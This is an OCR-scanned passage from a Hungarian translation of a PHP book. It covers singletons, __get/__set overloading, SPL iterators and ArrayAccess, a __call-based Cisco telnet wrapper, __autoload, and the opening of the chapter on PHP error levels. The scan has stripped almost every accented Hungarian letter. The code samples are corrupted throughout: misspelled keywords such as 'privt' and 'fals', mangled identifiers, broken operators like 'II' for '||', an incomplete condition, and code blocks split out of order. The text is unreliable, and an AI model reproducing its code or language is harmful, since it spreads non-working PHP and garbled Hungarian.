$a = Singleton::getlnstance(); $b = Singleton::getlnstance(); $a->property = "hello world"; print $b->property; A fenti kdot futtatva a "hello world" kimenetet kapjuk, ahogy egy egyktl vrnnk. Megfigyelhetjk, hogy a konstruktr tagfggvnyt privte-knt vezettk be. Ez nem elrs: ha privt tagfggvnny tesszk, a new Singleton utastssal nem hozhatunk ltre belle pldnyt, csak az osztly hatkrn bell. Ha a pldnyostsra az osztlyon kvl tesznk ksrletet, vgzetes hibt kapunk. Vannak, akik irtznak a gyrtfggvnyektl. Azon fejlesztket kielgtend, akik ilyen tneteket mutatnak, a konstruktrn keresztl ltrehozott egykk szmra rendelkezsre ll a__ get () s a____ set () mvelet is: class Singleton { privt static $props = array(); public function______ construct () public function _____ get($name)
{

{}

if (array_key_exists($name, self::$props)) { return self::$props[$name]; } }

public function _____set($name,


{

$value)

self::$props[$name] = $value; } } $a = new Singleton; $b = new Singleton; $a->property = "hello world"; print $b->property;

56

PHP fejleszts felsfokon

Ebben a pldban az osztly valamennyi tulajdonsgnak rtkt egy statikus tmbben trolja. Amikor rs vagy olvass cljbl hozzfrnk valamelyik tulajdonsghoz, a___get s____ set elrskezelk ebben a statikus tmbben keresnek, nem pedig az objektum bels tulajdonsgtbljban. n nem viszolygok a gyrtfggvnyektl, gy gyakran fordulok hozzjuk. Az egykk viszonylag ritkk a programokban, gy ha klnleges mdon kell pldnyostani ket (egy hozzjuk tartoz gyron keresztl), az csak megersti klnbzsgket. Emellett a privt konstruktr alkalmazsval megakadlyozhatjuk j tagok helytelen pldnyostst az osztlybl. A 6. fejezetben egy gyrtfggvnnyel egy l-egykt hozunk ltre, ahol az osztlynak egyedi paramterenknt lesz egyetlen globlis pldnya.

Tlterhels
Most megprbljuk egytt hasznostani a fejezetben eddig bemutatott megoldsokat, az eredmnyhalmazhoz pedig tlterhelssel objektumkzpontbb felletet biztostunk. Azon programozk szmra, akik megszoktk a Java JDBC adatbzis-kapcsolati rtegnek hasznlatt, ismers megkzelts lehet az sszes eredmny egyetlen objektumban val trolsa. Egszen pontosan a kvetkezt szeretnnk: $query = "SELECT name, email FROM users"; $dbh = new DB_Mysql_Test ; $stmt = $dbh->prepare($query)->execute(); $result = $stmt->fetch(); while($result->next()) { ech "<a href=\"mailto:$result->email\">$result->name</a>";
}

A kd vezrlsi folyamata normlis mdon halad, amg vgre nem hajtottuk a lekrdezst. Ezutn viszont ahelyett, hogy egyesvel, trstsos tmbknt adnnk vissza a sorokat, elegnsabb, ha egy eredmnyobjektumot adunk vissza egy bels bejrval, ami trolja a mr megvizsglt sorokat. Nem adunk meg kln eredmnytpust minden adatbzis szmra, amit a DB_Connection osztlyokon keresztl tmogatunk, ehelyett az utasts osztlyainak tbbalaksgt kihasznlva egyetlen DB_Result osztlyt hozunk ltre, amely minden rendszerfgg mvelett arra a DB_Statement objektumra ruhzza t, amelybl ltrejtt.

2. fejezet Objektumkzpont programozs tervezsi mintk segtsgvel

57

A DB_Result-nak elre s visszafel halad bejrval is rendelkeznie kell, illetve azzal a kpessggel, hogy vissza tudja lltani a helyzett az eredmnyhalmazban. Ez az eddig tanultak alapjn knnyen megvalsthat. me a DB_Result egy egyszer megvalstsa: class DB_Result { protected $stmt; protected $result = array (); privt $rowIndex = 0; privt $currlndex = 0; privt $done = fals; public function______ construct(DB_Statement $stmt)
{

$this->stmt = $stmt; } public function first() { if ( !$this->result) { $this->result[$this->row!ndex+ + ] = $this->stmt->fetch_assoc() ; } $this->currlndex = 0; return $this; } public function last() { if(!$this->done) { array_push($this->result, $this->stmt->fetchall_assoc()); } $this->done = true; $this->currlndex = $this->rowIndex = count($this->result) - 1; return $this; } public function next() { if ($this->done) { return fals; } $offset = $this->currlndex + 1; if ( !$this->result[$offset]) { $row = $this->stmt->fetch_assoc(); if(!$row) { $this->done = true; return fals; } $this->result[$offset] = $row; ++$this->rowIndex; ++$this->currIndex; return $this; }

58

PHP fejleszts felsfokon

else {

++$this->currIndex; return $this;


} }

public function prev()


{

if($this->currlndex == 0) return fals;


}

--$this->currIndex; return $this;


} }

A DB_Result-tal kapcsolatban a kvetkezket kell megjegyeznnk: Konstruktora tpusjelzssel biztostja, hogy a neki tadott vltoz DB_Statement objektum legyen. Mivel a bejrk megvalstsa megkveteli, hogy a $stmt megfeleljen a DB_Statement API-nak, ez sszer ellenrzs. Az eredmnyek lusta elksztsek (addig nem jnnek ltre, amg nem hivatkoznak rjuk). Konkrtan az egyes sorok csak akkor tltik fel a DB_Result: : result tmbt, amikor a DB_Result objektum bejrsa az indexkhz r az eredmnyhalmazban. Azt, hogy ez mirt fontos, a 10. fejezetben trgyaljuk, mindenesetre a lnyeg rviden az, hogy a lusta elkszts rvn elkerlhetnk egy olyan munkt, aminek az elvgzsre a tnyleges hvsig nincs is szksg. A soradatokat a DB_Result: : result tmb trolja. A kvnt API azonban az adatokra $obj ->column, nem pedig $obj ->result [ ' column' ] formban hivatkozik, gyhogy mg van tennivalnk. Az eredmnyhalmazok objektumkzpont felletnek hasznlatban a nehzsget az jelenti, hogy az oszlopneveket tulajdonsgknt rjk el. Miutn termszetesen egyetlen lekrdezs oszlopainak nevt sem ismerjk, amikor a DB_Result-ot rjuk, az oszlopokat elre nem tudjuk helyesen bevezetni. Tovbb, mivel a DB_Result minden megvizsglt sort trol, az eredmnyadatokat valamilyen tmbben (ebben az esetben a DB_Result: : result nevben) kell trolnia. Szerencsre a PHP kt tagfggvny rvn lehetv teszi a tulajdonsgokhoz val hozzfrs tlterhelst: function__ get($varname) {} - E tagfggvny meghvsra akkor kerl sor, amikor olvass cljbl prblunk hozzfrni egy meghatrozatlan tulajdonsghoz. function__ set($varname, $value) {} - E tagfggvny meghvsra akkor kerl sor, amikor rs cljbl prblunk hozzfrni egy meghatrozatlan tulajdonsghoz.

2. fejezet Objektumkzpont programozs tervezsi mintk segtsgvei

59

Esetnkben a DB_Result-nak tudnia kell, hogy amikor egy eredmnyhalmaz oszlophoz frnk hozz, a halmaz aktulis sorban az adott oszlop rtkt kell visszaadni. Ezt az albbi___ get fggvnnyel rhetjk el, amelyben a fggvnynek tadott egyetlen paramtert a rendszer a keresett tulajdonsg nevre lltja: public function _____ get($varname)
{

if(array_key_exists($varname, $this->result[$this->currlndex])) return $this->result[$this->currlndex][$varname];


} }

Itt azt ellenrizzk, hogy az tadott argumentum ltezik-e az eredmnyhalmazban. Ha igen, az elrfggvny belekukkant a $this->result-ba, hogy megkeresse a megadott oszlopnvhez tartoz rtket. Miutn az eredmnyhalmaz nem mdosul (vagyis a soradatok egyike sem mdosthat ezen a felleten keresztl), nem kell trdnnk egyetlen tulajdonsg belltsval sem. A tulajdonsg-fellbrlsi kpessgnek egyb haszna is van. rdekes megolds pldul, amikor a___get () s a____ set () segtsgvel maradand trstsos tmbket hozunk ltre, amelyek egy DBM llomnyhoz (vagy ms maradand - perzisztens - trolhoz) kapcsoldnak. Ha ismerjk a Perl nyelvet, szrevehetjk a hasonlsgot a tie () ottani hasznlatval. Maradand hasttbla (hash) ksztshez egy Tied nev osztlyt hozunk ltre, ami egy lert nyit egy DBM llomnyhoz. (A DBM llomnyokkal rszletesebben a 10. fejezetben foglakozunk.) Amikor egy tulajdonsggal kapcsolatban olvassi krelem rkezik, az rtket megszerezzk a hasttblbl, s prhuzamostjuk (hogy sszetett adattpusokat is trolhassunk). Az rsi mveleteknl ehhez hasonlan sorostjuk a vltozhoz rendelt rtket, s a DBM-be rjuk. Lssunk egy pldt, ahol egy DBM fjlt egy trstsos tmbbel kapcsolunk ssze, gy lnyegben egy maradand tmbt ksztnk (ami hasonl egy Tied hasttblhoz a Peri-ben): class Tied { privt $dbm; privt $dbmFile; function ____ construct( $ f ile = fals)
{

$this->dbmFile = $file; $this->dbm = dba_popen($this->dbmFile, } function____ destructO


{

"c",

"ndbm");

60

PHP fejleszts felsfokon

dba_close($this->dbm); } function __ get($name) { $data = dba_fetch($name, $this->dbm); if($data) { print $data; return unserialize($data); } else { print "$name not found\n"; return fals; } } function___ set($name, $value) {

dba_replace($name,
} }

serialize($value),

$this->dbm);

Most mr lehet egy trstsos tmb tpus objektumunk, amely megengedi a maradand adatokat. Tegyk fel, hogy gy hasznljuk:
<?

$a = new Tied("/tmp/tied.dbm"); if(!$a->counter) { $a->counter = 0 ;


}

else { $a->counter++;
}

print "This page has been accessed ".$a->counter." times.\n";


?>

Ekkor minden elrs eggyel nveli a szmllt:


> php 19.php This page has been accessed 1 times. > php 19.php

This page has been accessed 2 times. Tlterhelssel a tulajdonsgokhoz hozzfrs-szablyozst is biztosthatunk. Mint tudjuk, a PHP vltozi brmilyen tpusak lehetnek, s a tpusok (tmb, karakterlnc, szm s gy tovbb) kztt gond nlkl vlthatunk is. Mindazonltal bizonyos vltozkat arra szeretnnk knyszerteni, hogy adott tpusak maradjanak (mondjuk hogy egy skalris vltoz

2. fejezet Objekturnkzpont programozs tervezsi mintk segtsgve!

61

egsz tpus legyen). Az alkalmazs kdjban ezt gy rhetjk el, hogy sajt kezleg ellenrznk minden adatot, mieltt egy vltozhoz rendelnnk, de ez igen frasztv vlhat, rengeteg kdismtlst ignyel, s elbb-utbb knny megfeledkezni rla. A__ get () s a____ set () hasznlatval megvalsthat egyes objektumtulajdonsgok rtkadsnak tpusellenrzse. Ezeket a tulajdonsgokat nem szabvnyos tulajdonsgknt vezetjk be, hanem az objektumon bell egy privt tmbben troljuk. Ezenkvl egy tpustrkpet is meghatrozunk, ami azon vltozkbl ll, amelyek tpust ellenrzni szeretnnk, illetve meghatrozzuk a tpusellenrzsre hasznlni kvnt fggvnyt. me egy osztly, amely name tulajdonsgtl megkveteli, hogy karakterlnc legyen, counter tulajdonsgnak pedig egsz (integer) tpusnak kell lennie:
class Typed { privt $props = array(); static $types = array ( "counter" => "is_integer", "name" => "is_string" );

public function _____ get($name) { if(array_key_exists($name, $this->props)) return $this->props[$name];


} }

public function _____ set($name,$value) { if (array_key_exists($name, self::$types)) { if(call_user_func(self::$types[$name],$value)) $this->props[$name] = $value; } else { print "Type assignment error\n"; debug_print_backtrace();
} } } }

Amikor rtkads trtnik, az adott tulajdonsgot kikeressk a self: : $types tmbbl, s futtatjuk az ellenrz fggvnyt. Ha a tpusokat helyesen illesztjk, minden gy mkdik, mint a karikacsaps, amit lthatunk is, ha futtatjuk a kvetkez kdot: $obj = new Typed; $obj->name = "George"; $obj->counter = 1;

62

PHP fejleszts felsfokon

Ha viszont megsrtjk a tpusmegszortsokat (egy tmbnek a $obj ->name-hez val rendelsvel, amelyet is_string tpusknt adtunk meg), vgzetes hibt kapunk. Hajtsuk vgre pldul ezt a kdot: $obj = new Typed; $obj->name = array("George"); Ekkor az albbi hibt kapjuk:
> php 2 0.php Type assignment error #0 typed->__ set(name, Array ([0] => George)) called at [(null):3] #1 typed->unknown(name, Array ([0] => George)) called at [/Users/george/ Advanced PHP/examples/chapter-2/20.php:28]

Az SPL s a bejrk
Mindkt megelz pldban olyan objektumokat hoztunk ltre, amelyektl tmbszer viselkedst vrtunk. Nagyrszt sikerrel jrtunk, de hozzfrskor mg mindig objektumknt kell kezelnnk ket. Ez pldul mkdik: $value = $obj->name; Ez viszont futsidej hibt okoz: $value = $obj['name']; Ugyanilyen frusztrl, hogy nem hasznlhatjuk velk a szoksos tmbbejr mdszereket. Ez is futsidej hibt vlt ki: foreach($obj as $k => $v) {}

Ahhoz, hogy a fenti formj kdokat bizonyos objektumokkal mkdkpess tegye, Marcus Boerger megrta a PHP5-hz a szabvnyos PHP knyvtr bvtmnyt (Standard PHP Library, SPL). Az SPL felletek egy csoportjt biztostja, s a Zend Engine-hez kapcsoldik, ami gy futtatja a PHP-t, hogy lehetv teszi a bejr s tmbelr kdok mkdst azokkal az osztlyokkal, amelyek megvalstjk az emltett felleteket. A fellet, amelyet az SPL meghatroz a tmb stlus hozzfrshez, az albbi kdot tartalmazza:
interface ArrayAccess { function offsetExists($key); function offsetGet($key); function offsetSet($key, $value); function offsetUnset($key); }

2. fejezet Objektumkzpont programozs tervezsi mintk segtsgvel

63

Mivel a meghatrozs C kdon bell szerepel, termszetesen nem ezt fogjuk ltni, de PHP-re fordtva gy festene. Ha teljesen el akarjuk hagyni a Tied objektumkzpont fellett, s azt szeretnnk, hogy elr mveletei tmbkhz hasonltsanak, a_____ get () s____ set () mveleteket a kvetkezkppen cserlhetjk ki:

Az albbi kd most mr nem mkdik, hiszen eltvoltottuk a tlterhelt elr mveleteket: $obj->name = "George"; Az elrst gy hajthatjuk vgre: $obj ['name'] = "George"; // nem mkdik

Ha azt szeretnnk, hogy objektumaink tmbknt viselkedjenek, amikor beptett tmbfggvnyeknek (pldul array map ()) adjuk t ket, megvalsthatjuk az Iterator s IteratorAggregate felleteket, aminek eredmnyeknt a kapott bejr (iterator) megvalstja a paramterknt tmbt vr fggvnyekben val meghvshoz szksges felleteket, me egy plda: interface IteratorAggregate { function getlterator();
}

64

PHP fejleszts felsfokon

interface Iterator { function rewind(); function hasMore(); function key(); function current(); function next(); } Ebben az esetben egy osztly vza gy festene: class Klasslterator implements Iterator { /* ... */ } class Klass implements IteratorAggregate { function getlterator() { return new Klasslterator($this); } /* ... */ }

Az albbi kd lehetv teszi, hogy az objektumot ne csak f oreach (), hanem f or () ciklusokban is hasznlhassuk: $obj = new Klass; for($iter = $obj->getIterator();
{

$iter->hasMore();

$iter = $iter->next())

// mkdik a $iter->current()-tel
}

Megtehetjk, hogy a korbban megrt elvont adatbzis-brzolsban a DB_Result-ot bejrv tesszk. Lssunk egy pldt arra, hogyan mdosthatjuk gy az API-t, hogy megvalstsa az Iterator-t: class DB_Result { protected $stmt; protected $result = array(); protected $rowIndex = 0; protected $currlndex = 0; protected $max = 0; protected $done = fals; function ____ construct(DB_Statement $stmt)
{

$this->stmt = $stmt;
}

2. fejezet Objektumkzpont programozs tervezsi mintk segtsgvel

65

function rewind() { $this->currlndex = 0; } function hasMore() { if ($this->done && $this->max == $this->currlndex) return fals; } return true; } function key() { return $this->currlndex; } function current() { return $this->result[$this->currlndex]; } function next() { if ($this->done &&) { return fals; } $offset = $this->currlndex + 1; if(!$this->result[$offset]) { $row = $this->stmt->fetch_assoc(); if(!$row) { $this->done = true; $this->max = $this->currlndex; return fals; } $this->result[$offset] = $row; ++$this->rowIndex; ++$this->currIndex; return $this; } else { ++$this->currlndex; return $this; } } }

Ezen kvl a MysqlStatement-et gy kell mdostani, hogy megvalstsa az IteratorAggregate felletet, hogy tadhassuk egy f oreach () -nek vagy ms tmbkezel fggvnynek. Ez csupn egyetlen fggvny hozzadst ignyli, valahogy gy: class MysqlStatement implements IteratorAggregate { function getlterator() { return new MysqlResultlterator($this);
} }

66

PHP fejleszts felsfokon

Ha az osztly bejrjaknt nem szeretnnk kln osztlyt ltrehozni, de a fellet ltal nyjtott finom vezrlsre tovbbra is szksgnk van, termszetesen megtehetjk, hogy egyetlen osztly valstja meg mind az IteratorAggregate, mind az Iterator felletet. A nagyobb knyelem kedvrt az Iterator s ArrayAccess felleteket egyesthetjk, hogy olyan objektumokat hozzunk ltre, amelyek a tmbkkel azonos viselkedst mutatnak mind a bels, mind a felhasznli fggvnyekben. Ez a Tied-hoz hasonl, tmbszer viselkedsre tervezett osztlyok esetben idelis megolds. Lssuk is, hogyan mdosthatjuk gy a Tied osztlyt, hogy megvalstsa mindkt felletet: class TiedArray implements ArrayAccess,
privt $db;

Iterator {

privt $current; function ____ construct( $ f ile) { $this->db = dba_popen($file, " c " , if(!$this->db) {
}

"flatfile");

throw new Exception("$file could not be opened"); } function __ destruct() { dba_close($this->db); } function offsetExists($index) { return dba_exists($index, $this->db); } function offsetGet($index) { return unserialize(dba_fetch($index, $this->db)); } function offsetSet($index, $newval) { dba_replace($index, serialize($newval), $this->db); return $newval; } function offsetUnset($index) { return dba_delete($index, $this->db); } function rewind { $this->current = dba_firstkey($this->db) ; } function current() { $key = $this->current; if($key !== fals) { return $this->offsetGet($key); } }

2. fejezet Objektumkzpont programozs tervezsi mintk segtsgvel

67

function next() { $this->current = dba_nextkey($this->db);


}

function valid() { return ($this->current == fals)?false:true;


}

function key() { return $this->current;


} } ?>

Az Iterator megvalstshoz elengedhetetlen bejr mveletek a mdostott Tied osztlyban a dba_firstkey (), amely a bels DBM llomny elejre ll, illetve a dba_nextkey (), amellyel bejrjuk az llomnyt. Ha elvgezzk az albbi mdostsokat, a Tied objektumokat ugyangy jrhatjuk be, mint egy szokvnyos trstsos tmbt: $obj = new $obj->foo = $obj->bar = $obj->barbara Tied("/tmp/tied.dbm"); "Foo"; "Bar"; = "Barbara";

foreach($obj as $k => $v) { print "$k => $v\n";


}

Futtatskor ezt kapjuk: foo => Foo counter => 2 bar => Bar barbra => Barbara Honnan szrmazik a counter? Ne feledjk, ez maradand (perzisztens) hasttbla: a counter a DBM fjl utols hasznlatbl marad vissza.

68

PHP fejleszts felsfokon

A PHP a___call () visszahvhat fggvnyen keresztl a tagfggvny-tlterhelst is tmogatja. Ez azt jelenti, hogy ha meghvjuk egy objektum valamelyik tagfggvnyt s az nem ltezik, helyette a____call () hvdik meg. A szolgltatst ltalban arra hasznljuk, hogy vdekezznk a meghatrozatlan tagfggvnyek ellen. A kvetkez pldban egy osztly___ call () horgnak egy olyan megvalstst lthatjuk, amely egyszeren kirja a hvni prblt tagfggvny nevt, illetve az osztlynak tadott argumentumokat: class Test {
public function __ call($funcname, $args) {

print "Undefined method $funcname called with va r s: \ n " ; print_r($args);


} }

Prbljunk meg nem ltez tagfggvnyt vgrehajtani: $obj = new Test; $obj->hello("george") ; Ekkor a kvetkez kimenetet kapjuk: Undefined method hello called with vars: Array ( [0] => george ) A___call () kezelk rendkvl hasznosak a tvoli eljrshvsokban (remote procedure call, RPC), ahol nem valszn, hogy az gyfl osztly megrsakor pontosan ismerjk a tvoli kiszolgl ltal tmogatott tagfggvnyeket. Az RPC tagfggvnyekkel rszletesebben a 16. fejezetben foglalkozunk, de hogy rviden bemutassuk hasznlatukat itt is, sszedobunk egy objektumkzpont felletet Cisco tvlasztkhoz. A Cisco tvlasztkba hagyomnyosan a Telneten keresztl jelentkeznk be, s a belltst, illetve vezrlst ezen a parancssoros felleten keresztl vgezzk. A Cisco tvlasztknak sajt opercis rendszerk (IOS) van, amelynek klnbz vltozatai ms-ms szolgltatskszletet s parancsformt tmogatnak. Persze nem kell teljes felletet ksztennk minden IOSvltozathoz; a___ call () -ra bzhatjuk a parancstovbbts automatikus kezelst. Mivel az tvlasztt csak a Telneten t rhetjk el, a PEAR Net_Telnet osztlyt fogjuk bvteni, hogy biztostsuk az elrsi rteget. A Telnet rszleteivel a szlosztly foglalkozik, gy osztlyunkban csak kt valdi fggvnyre lesz szksg. Az els, a login (), a bejelentkezst kezeli; a jelszkr jelre vr, s amikor az megrkezik, elkldi a bejelentkez adatait.

2. fejezet Objektumkzpont programozs tervezsi mintk segtsgvel

69

PEAR

A PHP bvtmny s alkalmazstr (PHP Extension and Application Repository, PEAR) a PHP csoport tevkenysghez lazn kapcsold projekt, amelynek clja, hogy magas sznvonal, objektumkzpont, jrahasznosthat alapelemek gyjtemnyt biztostsa alkalmazsok PHP nyelven trtn feljesztshez. A ktetben szmos PEAR osztlyt hasznlunk, br n gyakran a sajt elemek ptst rszestem elnyben. Klnsen azokban az alkalmazsokban, ahol a teljestmny ltfontossg, knnyebb az ignyekhez pontosan illeszked, felesleges kddal nem terhelt megoldst kidolgozni, br nha jl jhet egy mr ltez megolds. A PHP a 4.3-as kiads ta tartalmazza a PEAR teleptt, amelyet a parancssorbl a kvetkezkppen indthatunk el: > pear Ha ltni szeretnnk a telept valamennyi lehetsgt, rjuk be ezt: > pear help A szmunkra rdekes parancs a pear install. Esetnkben a futtatshoz a Net_Telnet osztlyra van szksg; ennek teleptse az albbi egyszer mdon trtnik: > pear install Net_Telnet A vgrehajtst lehet, hogy csak rendszergazdaknt (root) tehetjk meg. Az sszes elrhet PEAR csomagot az albbi paranccsal rathatjuk ki: > pear list-all A legfrissebb informcikrt rdemes megltogatnunk a PEAR webhelyt is a http: / /pear. php. net cmen.

A msodik fggvny, amire a Net_Telnet osztlyban szksgnk van, a _ _call () kezel. Itt a kvetkez rszletekkel foglalkozunk: Szmos Cisco IOS parancs tbbszavas parancs. Az tvlasztsi tblzat megjelentsre irnyul pldul a show ip route, amit tmogathatunk egyszerre $router>show_ip_route () s $router->show("ip route") formban is. A tagfggvny nevben minden alhzst szkzre kell cserlnnk, az eredmnyt pedig ssze kell fznnk a tbbi argumentummal, hogy megkapjuk a parancsot.

70

PHP fejleszts felsfokon

Ha meg nem valstott parancsot hvunk meg, nem rt, ha naplzzuk a hibt. (Esetleg hasznlhatjuk a die () -t is vagy kivtelt vlthatunk ki. A 3. fejezetben rszletesen trgyaljuk a hibakezel eljrsokat.) me a Cisco_RPC megvalstsa (meglehetsen rvid, pedig a teljes IOS-parancskszletet tmogatja): require_once "Net/Telnet.php"; class Cisco_RPC extends Net_Telnet { protected $password; function _ _construct($address, $password,$prompt=false)
{

parent::__ construct($address) ; $this->password = $password; $this->prompt = $prompt; } function login() { $response = $this->read_until("Password:") ; $this->_write($this->password); $response = $this->read_until("$this->prompt>"); } function _ _call($func, $var) { $func = str_replace("_", " ", $func); $func .= " ".implode(" ", $var); $this->_write($func); $response = $this->read_until("$this->prompt>"); if($response === fals II strstr($response, "%Unknown command")) { error_log("Cisco command $func unimplemented", E_USER_WARNING) ; } else { return $response; } } }

A Cisco_RPC egyszeren hasznlhat. Pldaknt lssunk egy programot, amellyel bejelentkeznk az tvlasztba a 10.0.0.1 IP cmen, s kiratjuk az tvlasztsi tblzatot: $router = new Cisco_RPC("10.0.0.1", $router->login(); print $router->show("ip r ou t e " ); "password");

2. fejezet Objektumkzpont programozs tervezsi mintk segtsgvel _ _autoload()

Az utols mgikus" tlterhel mvelet, amelyrl a fejezetben szt kell ejtennk, az _ _autoload (), amely globlis visszahvst biztost, amikor egy nem ltez osztlyt prblunk pldnyostani. Ha olyan csomagol rendszerrel rendelkeznk, amelyben az osztlyok nevei megfelelnek azon fjloknak, amelyben meghatroztk ket, az_ _autoload () segtsgvel menet kzben (just-in-time) pthetjk be az osztlyknyvtrakat. Ha a pldnyostani kvnt osztly meghatrozatlan, meghvdik az_ _autoload () fggvny, s jabb ksrlet trtnik a pldnyostsra. Ha a msodik ksrlet sem sikerl, a szoksos vgzetes hiba lp fel. Ha a PEAR-hez hasonl csomagol rendszert hasznlunk, ahol a Net_Telnet osztly meghatrozsa a Net/Telnet .php llomnyban tallhat, az albbi_ _autoload() fggvny menet kzben tlti azt be: function _ _autoload($classname) { $filename = str_replace( " _ " , " / " , include_once $filename;
}

$classname).

'. php';

Az osztlynv fjlnvre fordtshoz csak ki kell cserlnnk minden alhzst perjelre s hozzfzni a . php vgzdst. Ha a betlts (include) is megtrtnt, brmilyen fjl betltse nlkl vgrehajthatjuk az albbi utastst, s az mindaddig sikeres lesz, amg az elrsi ton megtallhat a Net /Telnet .php: <?php $telnet = new Net_Telnet; ? >

Tovbbi olvasmnyok
Rengeteg kitn knyv ltezik az objektumkzpont programozsrl s a tervezsi mintkrl, de az n szemlyes kedvenceim egyrtelmen a kvetkezk: Programtervezsi mintk {Design Patterns - Erich Gamma, Richrd Helm, Ralph Johnson s John Vlissides; Kiskapu Kiad, 2004). A szerzkre (e knyvnek ksznheten) gyakran hivatkoznak a Ngyek bandja (Gang of four") nven. A tervezsi mintkkal foglalkoz ktetek legnagyobb klasszikusa. Patterns of Enterprise Application Architecture (Martin Fowler). A szerz hihetetlenl tapasztalt; knyve rdekfeszt s igen gyakorlatias megkzeltsben trgyalja a tervezsi mintkat, klnsen a Vilghlval kapcsolatban. A fenti ktetek egyike sem tmaszkodik a PHP-re, de ha hajlandak vagyunk vgigrgni magunkat a C++, C# s Python kdokon, megltjuk, megri a fradsgot.

Hibakezels
Hibzni emberi dolog. Murphy kimert trvnygyjtemnye az elkerlhetetlenl bekvetkez hibkrl mindenki szmra ismert. A programozs sorn a hibk megjelensk szerint kt alapvet csoportba sorolhatk: Kls hibk - Olyan hibk, amelyeknl a kd nem vrt mdon kezd futni egy olyan programrsz kvetkeztben, ami nem vrt mdon mkdik. Ilyen pldul, ha nem sikerl kapcsoldni egy adatbzishoz, pedig a kd sikeres kapcsoldst kvetel meg. Kdlogikai hibk - Ezekre a hibkra hivatkoznak angolul ,,bug' (bogr) nven; olyan hibk, amelyeknl maga a kd hibs, mert vagy nem mkd logikra pl, vagy elrtuk. Az emltett kt hibakategria szmos vonsban jelentsen klnbzik: Kls hibkra mindig lehet szmtani; nem szmt, hogy maga a kd helyes-e. Mivel ezek a programtl fggetlenek, nmagukban nem is tekinthetk hibknak. Az olyan kls hibk, amelyekre nem szmtunk a kdban, lehetnek igazi hibk. Ha pldul naivan azt felttelezzk, hogy az adatbzishoz val kapcsolds mindig sikerrel jr, hibt vtnk, mert gy az alkalmazs szinte biztosan helytelenl reagl, ha a kapcsolat mgsem jn ltre. A kdlogikai hibkat jval nehezebb nyomon kvetni, mint a kls hibkat, hiszen helyket nyilvn nem ismerjk. Mindazonltal az adatkvetkezetessg ellenrzsvel felfedhetk. A PHP rendelkezik beptett hibakezelssel, illetve egy, a hiba slyossgt vizsgl rendszerrel, ami lehetv teszi, hogy csak azokrl a hibkrl rtesljnk, amelyek elg komolyak ahhoz, hogy rdekesek legyenek szmunkra. A PHP-ben a hibknak hrom slyossgi szintje ltezik: E_NOTICE E_WARNING E ERROR

74

PHP fejleszts felsfokon

Az E_NOTICE hibk kisebb, nem vgzetes hibajelzsek, amelyek a kdban esetlegesen elfordul hibkat segtenek azonostani. ltalban valami olyasmire figyelmeztetnek, ami mkdik, de nem biztos, hogy azt csinlja, amit szerettnk volna. Ilyen lehet pldul, amikor egy vltozra azeltt hivatkozunk, hogy rtket adtunk volna neki:
<?php

$variable++; ?> A fenti kd a $variable rtkt l-re nveli (a vltozk pldnyostskor a 0, a fals, vagy az res karakterlnc rtket kapjk), de E_N0TICE hibt vlt ki. Helyette hasznljuk inkbb ezt: <?php $variable = 0; $variable++;
?>

Az E_NOTICE nyjtotta ellenrzs arra szolgl, hogy megakadlyozzuk a vltoznevek elrsbl ered hibkat. Az albbi kdblokk pldul mkdik:
<?php

$variable = 0; $variabel++; ?> A gond csak az, hogy nem a $variable, hanem a $variabel rtknek nvelsre kerl sor. Az E_N0TICE az ilyen hibkra figyelmeztet, hgy elkaphassuk azokat. Olyan, mintha egy Perl programot a use warnings s a use strict utastssal futtatnnk, vagy egy C programot a -Wall kapcsolval fordtannk le. A PHP-ben az E_N0TICE hibk alapllapotban ki vannak kapcsolva, mert meglehetsen hossz, ismtld zeneteket tartalmaz naplt eredmnyeznek. Sajt programjaim fejlesztsekor n inkbb bekapcsolom ket, hogy megknnytsem a kdtakartst, s csak az zemi kiszolgln kapcsolom ki az ellenrzst. Az E_WARNING hibk nem vgzetes futsidej hibk. Nem lltjk meg s nem mdostjk a programvezrlst, csak jelzik, hogy valami rossz trtnt. Szmos kls hiba eredmnyez E_WARNING figyelmeztetst; ilyen pldul, amikor a mysql_connect () -hez az f open () -t hvjuk meg.

3. fejezet Hibakezels

75

Az E_ERROR hibk helyrehozhatatlan hibk, amelyek lelltjk a fut program vgrehajtst. Ilyen pldul, amikor nem ltez osztlyt prblunk pldnyostani, vagy egy fggvnyben nem a tpusjelzsnek megfelel tpust hasznljuk. (rdekes mdon, ha nem megfelel szm argumentumot adunk t egy fggvnynek, az csak E_WARNING hiba.) Ahhoz, hogy sajt hibkat hatrozzunk meg, a PHP a trigger_error () fggvnyt bocstja rendelkezsnkre. A felhasznl hromfle hibt vlthat ki, melyek hasonlak az eddig trgyaltakhoz. E_USER_NOTICE E_USER_WARNING E_USER_ERROR A felhasznli hibk kivltsa a kvetkezkppen trtnhet: while(Ifeof($fp)) { $line = f g e t s ( $ f p ) ; if(!parse_line($line)) { trigger_error("Incomprehensible data encountered", E_USER_NOTICE);
} }

Ha nem adunk meg hibaszintet, az E_USER_N0TICE hasznlatra kerl sor. Az emltetteken kvl tovbbi t, nmileg ritkbban elfordul hibafajta ltezik: E_PARSE - A programban nyelvtani hiba tallhat, gy nem rtelmezhet. Vgzetes hibnak szmt. ECOMPILEERROR - A motorban vgzetes hiba kvetkezett be a program lefordtsa kzben. ECOMPILEWARNING -A program feldolgozsa kzben nem vgzetes hiba lpett fel a motorban. E C O R E E R R O R - Vgzetes futsidej hiba trtnt a motorban. ECOREWARNING - Nem vgzetes futsidej hiba trtnt a motorban. A PHP emellett az E_ALL kategrit is hasznlja, az sszes hibaszint jelzsre. A hibajelzsek szintjt a php. ini llomny error_reporting belltsval adhatjuk meg. Az error_reporting meghatrozott llandkat hasznl bitmez-ellenrz; a kvetkez lland utal pldul az sszes hibra: error_reporting = E_ALL

76

PHP fejleszts felsfokon

Ha a hibk kzl csak az E_NOTICE-t akarjuk kizrni, XOR-ozni kell az E_ALL-t s az E_NOTICE-t:
error_reporting = E_ALL ~ E_NOTICE

Az error_reporting albbi belltsval csak a vgzetes hibkat figyeljk (a kt hibatpus kztt bitenknti OR szerepel):
error_reporting = E_ERROR | E_USER_ERROR

Mindazonltal ha az E_ERROR-t eltvoltjuk az error_reporting belltsbl, akkor sem hagyhatjuk figyelmen kvl a vgzetes hibkat, csupn nem kerl sor a hozzjuk tartoz hibakezel meghvsra.

A hibk kezelse
Most, hogy lttuk, milyen hibajelzseket ad a PHP, ki kell dolgoznunk a hibk kezelsnek tervt. A PHP az error_reporting-nak megfelelen ngy vlasztsi lehetsget nyjt a hibakezelsre: A hibk megjelentse. A hibk naplzsa. A hibk figyelmen kvl hagysa. Mveletek vgzse hiba esetn.

